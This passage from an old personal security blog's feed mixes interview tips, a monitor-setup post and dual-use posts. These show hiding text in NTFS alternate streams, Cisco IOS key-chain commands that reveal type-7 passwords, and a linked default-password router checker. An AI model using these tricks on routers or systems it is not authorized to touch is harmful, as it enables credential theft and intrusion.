style="margin-left:1.0in;text-indent:-.25in;mso-list:l1 level2 lfo2; tab-stops:list 1.0in"&gt;&lt;span style="mso-list:Ignore"&gt;4.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Do not seat down before you are asked to do so&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.0in;text-indent:-.25in;mso-list:l1 level2 lfo2; tab-stops:list 1.0in"&gt;&lt;span style="mso-list:Ignore"&gt;5.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;If interviewer offer shake-hand give a firm shake-hand.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.0in;text-indent:-.25in;mso-list:l1 level2 lfo2; tab-stops:list 1.0in"&gt;&lt;span style="mso-list:Ignore"&gt;6.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Listen carefully to the question asked , if you don’t able to listen to a question politely ask to repeat the question&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.0in;text-indent:-.25in;mso-list:l1 level2 lfo2; tab-stops:list 1.0in"&gt;&lt;span style="mso-list:Ignore"&gt;7.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;But don’t ask every time to repeat the question , some time its ok not every time.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.0in;text-indent:-.25in;mso-list:l1 level2 lfo2; tab-stops:list 1.0in"&gt;&lt;span style="mso-list:Ignore"&gt;8.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Do answer with truth, if you don’t know any thing admit it that you don’t know it. No one is perfect.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.0in;text-indent:-.25in;mso-list:l1 level2 lfo2; tab-stops:list 1.0in"&gt;&lt;span style="mso-list:Ignore"&gt;9.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Study the basics well before going for interview.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.5in;text-indent:-1.5in;mso-text-indent-alt: -9.0pt;mso-list:l1 level3 lfo2;tab-stops:list 1.5in"&gt;&lt;span style="mso-list:Ignore"&gt;&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;                                                               &lt;/span&gt;i.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;Ex. If you going for Developer interview you should know the basics of the programming language.&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left:1.5in;text-indent:-1.5in;mso-text-indent-alt: -9.0pt;mso-list:l1 level3 lfo2;tab-stops:list 1.5in"&gt;&lt;span style="mso-list:Ignore"&gt;&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;                                                             &lt;/span&gt;ii.&lt;span style="font:7.0pt &amp;quot;Times New Roman&amp;quot;"&gt;      &lt;/span&gt;&lt;/span&gt;If you going for Networking / Security profile your networking knowledge should be sound. (Ex TCPIP / ISO Layers etc). For a fresher at-least there is no excuse to Not have knowledge of TCPIP&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-3744650251343060557?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/3744650251343060557/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=3744650251343060557' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/3744650251343060557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/3744650251343060557'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2010/11/what-not-to-dojob-seekers.html' title='What not to do...Job Seekers'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-1896174971895517020</id><published>2010-03-30T06:43:00.000-07:00</published><updated>2010-03-30T06:57:11.011-07:00</updated><title type='text'>Hide text in notepad</title><content type='html'>Hi there,&lt;br /&gt;  After some busy weeks, I am back. I had discussion with my regarding hiding text in the txt file using the notepad. So I am giving here the way by using which any text can be hidden in the notepad and you can have your own password for the hidden text also.&lt;br /&gt;If you already dont know this go forwarding reading...&lt;br /&gt;&lt;br /&gt;In windows you can hide some text in the txt file using only notepad and no other tool.&lt;br /&gt;&lt;br /&gt;The way to do is ...&lt;br /&gt;&lt;br /&gt;use following command to create a text file..&lt;br /&gt;&lt;br /&gt;go to any specific folder of your choice in cmd prompt,&lt;br /&gt;type command&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;notepad secret.txt:thisismypassword&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Notepad will ask "Do you want to create a new file?"&lt;br /&gt;Click "Yes"&lt;br /&gt;&lt;br /&gt;Now the title bar of notepad should read like&lt;br /&gt;&lt;span style="font-style: italic;"&gt;secret.txt:thisismypassword.txt - Notepad&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Edit and enter any text in this notepad file.&lt;br /&gt;&lt;br /&gt;Close this file.&lt;br /&gt;&lt;br /&gt;Go to windows explorer and navigate to that specific folder you will see only one file&lt;br /&gt;&lt;span style="font-style: italic;"&gt;secret.txt.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you open this file you will see blank. You can enter any garbage in this secret.txt also and save it. It will not change your secrte data which was entered earlier.&lt;br /&gt;&lt;br /&gt;To reopen the secrete data type same command again&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;notepad secret.txt:thisismypassword&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You will see your data again. When opening file like this you can edit it and change your secrete data.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;P.S. Regards to Cybercrawler for his posts &lt;strong&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-1896174971895517020?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/1896174971895517020/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=1896174971895517020' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/1896174971895517020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/1896174971895517020'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2010/03/hide-text-in-notepad.html' title='Hide text in notepad'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-8944092404537998122</id><published>2010-01-10T21:32:00.000-08:00</published><updated>2010-01-10T21:45:27.543-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Nullcon hacking security conference goa'/><title type='text'>NullCon Security &amp; Hacking Conference</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;span style="color: rgb(204, 204, 204);font-size:130%;" &gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;NullCon &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://nullcon.net/nullconbanner1.gif%20"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 468px; height: 60px;" src="http://nullcon.net/nullconbanner1.gif" alt="" border="0" /&gt;&lt;/a&gt;If you too share the passion for knowledge, if a core dump brings glimmer to your eyes, if you want to share your hack with others and you have an inquisitiveness to learn, then nullcon is the place for you. If meeting hackers/researchers/phreaks in a 2 days event packed conference and the sun-bathed beaches of the tropical paradise called Goa won’t get you off your bed, nothing ever will.&lt;br /&gt;&lt;p&gt;So crack you knuckles, fire your Live CDs, dust your Debuggers and get ready for some serious action this February.&lt;/p&gt; &lt;p&gt;STATUTORY WARNING: nullcon can cause severe exposure to high octane gyan and could leave participants exhausted with wild shack parties. Beware, Be There.&lt;/p&gt;&lt;p&gt;For registartion visit nullcon.net&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;See you there at NullCon&lt;/span&gt; !!!&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-8944092404537998122?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/8944092404537998122/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=8944092404537998122' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/8944092404537998122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/8944092404537998122'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2010/01/nullcon-security-hacking-conference.html' title='NullCon Security &amp; Hacking Conference'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-6046610737913931162</id><published>2009-12-28T21:29:00.000-08:00</published><updated>2009-12-28T22:32:30.611-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='multiple monitor swordfish setup hacker movie'/><title type='text'>Using Multiple Monitors - like seen in movies</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2jnsT-Tk2Ig/SzmWLGYjnoI/AAAAAAAAABo/T1dpymkE1sc/s1600-h/swordfish01.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 213px;" src="http://3.bp.blogspot.com/_2jnsT-Tk2Ig/SzmWLGYjnoI/AAAAAAAAABo/T1dpymkE1sc/s320/swordfish01.jpg" alt="" id="BLOGGER_PHOTO_ID_5420528743953440386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I had already discussed use of multiple monitors with Microsoft PowerPoint to make your presentations easier. When ever I am in my workplace I use extra monitor with my laptop. I just love using that.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;First important thing linux inbuilt support multiple monitor with lots of features so I am not talking about linux os in this section, I am talking aobut Microsoft Windows.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Remember the computer setup in movie Swordfish ?&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2jnsT-Tk2Ig/SzmVG7gY4_I/AAAAAAAAABg/kVAnHvQaOlA/s1600-h/swordfish02.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 230px;" src="http://3.bp.blogspot.com/_2jnsT-Tk2Ig/SzmVG7gY4_I/AAAAAAAAABg/kVAnHvQaOlA/s320/swordfish02.jpg" alt="" id="BLOGGER_PHOTO_ID_5420527572802397170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dont you like that kinda of setup ??&lt;br /&gt;Well I was also fascinated by that kinda of setup. I will discuss multiple techniques you can use to get that kind of setup. But money does matters so first I will describe about hardware options to get this kinda setup then I will describe software options.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1) If you have lots of money to invest on this setup then you can go for laptop docking station. Something as seen at http://www.digitaltigers.com/sidecar.asp&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.digitaltigers.com/images/sidecar/feature_sidecar_web.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 900px; height: 422px;" src="http://www.digitaltigers.com/images/sidecar/feature_sidecar_web.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This kinda of hardware setup can provide you lots of flexibility in terms of how you can use your multiple monitor setup.&lt;br /&gt;&lt;br /&gt;2) If you dont have that kinda money (which is always the case with lots of us) then you can go for some other options like using laptops vga out to connect secondary monitor. In this case you can drag drop your applications on the secondary monitor and distribute space taken by your applications.&lt;br /&gt;&lt;br /&gt;If you haven't used multiple monitors read the article from Microsoft  http://support.microsoft.com/kb/307873&lt;br /&gt;&lt;br /&gt;When I started using multiple desktops this way then first thing I noticed was there was no taskbar on the second desktop. After you drag drop applications on second monitor then also the taskbar icons stay on first monitor only. So my taskbar was becoming crowded. So I was looking for a solution which will give me second monitor with taskbar also. I found some solutions like http://www.realtimesoft.com/ultramon/&lt;br /&gt;which give can give multiple desktops with taskbar also. If you dont want to go for paid solution then there is Multimon http://www.mediachance.com/free/multimon.htm which is freeware and only place a taskbar on the second desktop. Which application you drop on second monitor it will take taskbar icon to the its taskbar on second monitor. freemon taskbar dont have lots of fancy options but it does the work.&lt;br /&gt;You can directly download mmtaskbar from this location http://www.mediachance.com/free/mmtaskbar21.exe&lt;br /&gt;&lt;br /&gt;3) But you might have noticed that I was only talking about the second monitor and not multiple monitors, but laptops only have one VGA output. So only one monitor can be attached to it. So what about multiple monitor setup ???&lt;br /&gt;Well multiple monitor you will need monitors. Even if you have monitors how will you connect them without hardware. So you cant do anything without getting some costly hardware ??&lt;br /&gt;Well low cost solution is there If you have some spare computer or laptops. There is software solution by using which you can extend your monitor on any machine in the network. Maxivista is the name of one of such products found at http://www.maxivista.com/.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2jnsT-Tk2Ig/SzmiG2c8EFI/AAAAAAAAABw/9ZGZx4QyH_I/s1600-h/DSC00203.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_2jnsT-Tk2Ig/SzmiG2c8EFI/AAAAAAAAABw/9ZGZx4QyH_I/s320/DSC00203.JPG" alt="" id="BLOGGER_PHOTO_ID_5420541865096908882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I have tried maxivista with total 4 monitors at a time, and it was working fine. So here you go... Now you can have your own setup like movies.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-6046610737913931162?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/6046610737913931162/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=6046610737913931162' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/6046610737913931162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/6046610737913931162'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2009/12/using-multiple-monitors-like-seen-in.html' title='Using Multiple Monitors - like seen in movies'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_2jnsT-Tk2Ig/SzmWLGYjnoI/AAAAAAAAABo/T1dpymkE1sc/s72-c/swordfish01.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-3869430350332436286</id><published>2009-06-05T23:39:00.000-07:00</published><updated>2009-06-06T00:13:21.660-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='default'/><category scheme='http://www.blogger.com/atom/ns#' term='password'/><category scheme='http://www.blogger.com/atom/ns#' term='router'/><category scheme='http://www.blogger.com/atom/ns#' term='check'/><category scheme='http://www.blogger.com/atom/ns#' term='version 2'/><title type='text'>version 2 of script to check cisco router with Default password</title><content type='html'>With request from my one fren to make the script more user frendly &lt;br /&gt;I have created version 2 of the script which can be downloaded from http://neo1981.googlepages.com/ciscoPassChkv2.py&lt;br /&gt;&lt;br /&gt;Well Here is some Spoon Feeding and brief documentation as Requested by my fren.&lt;br /&gt;&lt;br /&gt;This script is checked on windows xp with python version 2.5. Though it should run with python 2.3 and 2.4 also.&lt;br /&gt;&lt;br /&gt;You can download python for windows or linux machine from this page http://python.org/download/&lt;br /&gt;&lt;br /&gt;On Linux system you can execute the script by using commnd&lt;br /&gt;# python ciscoPassChkv2.py&lt;br /&gt;&lt;br /&gt;On windows you can execute script by using command&lt;br /&gt;&lt;br /&gt;C:\&gt;c:\Python25\python.exe ciscoPassChkv2.py&lt;br /&gt;&lt;br /&gt;Where C:\Python25\ is the directory where you have installed python 2.5&lt;br /&gt;&lt;br /&gt;By default the script will ask you IP address of the router to be checked for default login.&lt;br /&gt;If you want multiple routers checked at one go, put the IP addresses of the routers one IP in single line in a file and save&lt;br /&gt;it as iplist.txt&lt;br /&gt;Keep iplist.txt in the same folder as the python script and run python script. The script will read IP addresses from the file and check &lt;br /&gt;those routers for default passwords.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-3869430350332436286?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/3869430350332436286/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=3869430350332436286' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/3869430350332436286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/3869430350332436286'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2009/06/version-2-of-script-to-check-cisco.html' title='version 2 of script to check cisco router with Default password'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-8995065986308741864</id><published>2009-05-22T23:45:00.000-07:00</published><updated>2009-05-22T23:53:55.019-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='default'/><category scheme='http://www.blogger.com/atom/ns#' term='password'/><category scheme='http://www.blogger.com/atom/ns#' term='router'/><category scheme='http://www.blogger.com/atom/ns#' term='check'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>python script to find cisco routers with default password</title><content type='html'>While I was doing my work (No options...have to do some to earn) in recent days&lt;br /&gt;I was busy auding lots of cisco routers. As hacker mind I just went ahead hacking my way in to nearly all routers getting full access. But when I had completed my work I suddenly remember that some of the routers used default passwords and others I had extracted password from config of already accessed routers. But I just didnt remember for which routers I found using default password. As usual the programmer in me wake up (My colleague said he would check out manualy in 1 hour) I said I would better use half hour to write a script to find out those. This script will be use full in finding out routers with default password in future also.&lt;br /&gt;So I did write a python script (you must be knowing by now python is my fav language) to check out routers with default passwords. &lt;br /&gt;This script is still in its early stages. So looking forward for some good or bad feedbacks.&lt;br /&gt;&lt;br /&gt;You can find script at&lt;br /&gt;http://neo1981.googlepages.com/ciscoPassChk.py&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-8995065986308741864?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/8995065986308741864/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=8995065986308741864' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/8995065986308741864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/8995065986308741864'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2009/05/python-script-to-find-cisco-routers.html' title='python script to find cisco routers with default password'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-2007770745407242941</id><published>2009-05-22T23:23:00.000-07:00</published><updated>2009-05-22T23:38:46.094-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='crack'/><category scheme='http://www.blogger.com/atom/ns#' term='password'/><category scheme='http://www.blogger.com/atom/ns#' term='secrete'/><category scheme='http://www.blogger.com/atom/ns#' term='decrypt'/><category scheme='http://www.blogger.com/atom/ns#' term='enable'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><category scheme='http://www.blogger.com/atom/ns#' term='deobfuscate'/><title type='text'>Decrypting...No..Deobfuscating Cisco IOS Passwords</title><content type='html'>&lt;strong&gt;Why I said not decrypt but Deobfuscating ???&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;The level 7 password is not actually encrypted . The Vigenere algorithm is used to obfuscate the passwords (there is not key used in this algo)&lt;br /&gt;&lt;br /&gt;Cisco IOS uses this level-7 encryption when the "service password-encryption" command is used. &lt;br /&gt;&lt;br /&gt;I found some interesting info while I was getting tools to decrypt cisco level 7 password. Yes you might know that there are Lots of softwares available on net whcih decrypt cisco 7 secrete. But this method got my attention since it uses cisco commands to obtain cleartext password from the secret.&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Here it goes...&lt;/strong&gt;&lt;br /&gt;The show key-chain command executed on Cisco IOS displays the password configured in a key chain in cleartext even when the same password is stored as type-7 obfuscated password in the router configuration. &lt;br /&gt;&lt;br /&gt;For example, if you want to get the cleartext password corresponding to string 04480E051A33490E, enter the following lines into the router configuration (any routers configuration it can be your router not necessary victims router :D) :- &lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;R1(config)#key chain test&lt;br /&gt;R1(config-keychain)#key 1&lt;br /&gt;R1(config-keychain-key)#key-string 7 04480E051A33490E&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;When you execute &lt;strong&gt;&lt;em&gt;show key chain test&lt;/em&gt;&lt;/strong&gt; command, the cleartext value of the password is displayed: &lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;R1#show key chain test&lt;br /&gt;Key-chain decrypt:&lt;br /&gt;key 1 -- text "&lt;strong&gt;secure&lt;/strong&gt;"&lt;br /&gt;accept lifetime (always valid) - (always valid) [valid now]&lt;br /&gt;send lifetime (always valid) - (always valid) [valid now]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Walla Cleartext without using any tools&lt;br /&gt;&lt;br /&gt;I also have found perl code by Bostjan Sustar to do the same task.&lt;br /&gt;The perl code is uploaded at http://neo1981.googlepages.com/decrypt_cisco.pl&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-2007770745407242941?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/2007770745407242941/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=2007770745407242941' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/2007770745407242941'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/2007770745407242941'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2009/05/decryptingnodeobfuscating-cisco-ios.html' title='Decrypting...No..Deobfuscating Cisco IOS Passwords'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-2695943307358168421</id><published>2009-03-18T23:05:00.000-07:00</published><updated>2009-03-18T23:07:11.170-07:00</updated><title type='text'>Story of IT Novice</title><content type='html'>I read a very good story on my frens profile... I thought I should share with all&lt;br /&gt;&lt;br /&gt;IT Novice and Master...&lt;br /&gt;&lt;br /&gt;One day a Novice came to the Master.&lt;br /&gt;"Master," he said, "How is it that I may become a Writer of Programs?".&lt;br /&gt;The Master looked solemnly at the Novice.&lt;br /&gt;"Have you in your possession a Compiler of Source Code?" the Master asked.&lt;br /&gt;"No," replied the Novice. The Master sent the Novice on a quest to the Store of Software.&lt;br /&gt;Many hours later the Novice returned.&lt;br /&gt;"Master," he said, "How is it that I may become a Writer of Programs?".&lt;br /&gt;The Master looked solemnly at the Novice.&lt;br /&gt;"Have you in your possession a Compiler of Source Code?" the Master asked.&lt;br /&gt;"Yes," replied the Novice.&lt;br /&gt;The Master frowned at the Novice.&lt;br /&gt;"You have a Compiler of Source. What now can prevent you from becoming a Writer of Programs?".&lt;br /&gt;The Novice fidgeted nervously and presented his Compiler of Source to the Master.&lt;br /&gt;"How is this used?" asked the Novice.&lt;br /&gt;"Have you in your possession a Manual of Operation?" the Master asked.&lt;br /&gt;"No," replied the Novice.&lt;br /&gt;The Master instructed the Novice as to where he could find the Manual of Operation.&lt;br /&gt;Many days later the Novice returned.&lt;br /&gt;"Master," he said, "How is it that I may become a Writer of Programs?".&lt;br /&gt;The Master looked solemnly at the Novice.&lt;br /&gt;"Have you in your possession a Compiler of Source Code?" the Master asked.&lt;br /&gt;"Yes," replied the Novice.&lt;br /&gt;"Have you in your possession a Manual of Operation?" the Master asked.&lt;br /&gt;"Yes," replied the Novice.&lt;br /&gt;The Master frowned at the Novice.&lt;br /&gt;"You have a Compiler of Source, and a Manual of Operation. What now can prevent you from becoming a Writer of Programs?".&lt;br /&gt;At this the Novice fidgeted nervously and presented his Manual of Operations to the Master.&lt;br /&gt;"How is this used?" asked the Novice.&lt;br /&gt;The Master closed his eyes, and heaved a great sigh.&lt;br /&gt;The Master sent the Novice on a quest to the School of Elementary.&lt;br /&gt;Many years later the Novice returned.&lt;br /&gt;"Master," he said, "How is it that I may become a Writer of Programs?".&lt;br /&gt;The Master looked solemnly at the Novice.&lt;br /&gt;"Have you in your possession a Compiler of Source Code, a Manual of Operation and an Education of Elementary?" the Master asked.&lt;br /&gt;"Yes," replied the Novice.&lt;br /&gt;The Master frowned at the Novice.&lt;br /&gt;"What then can prevent you from becoming a Writer of Programs?".&lt;br /&gt;The Novice fidgeted nervously. He looked around but could find nothing to present to the Master.&lt;br /&gt;The Master smiled at the Novice.&lt;br /&gt;"I see what problem plagues you." said the Master.&lt;br /&gt;"Oh great master, please tell me." asked the Novice.&lt;br /&gt;The Master turned the Novice toward the door, and with a supportive hand on his shoulder said, "Go young Novice, and Read The Fucking Manual." And &lt;span style="font-weight: bold;"&gt;so the Novice became enlightened.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-2695943307358168421?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/2695943307358168421/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=2695943307358168421' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/2695943307358168421'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/2695943307358168421'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2009/03/story-of-it-novice.html' title='Story of IT 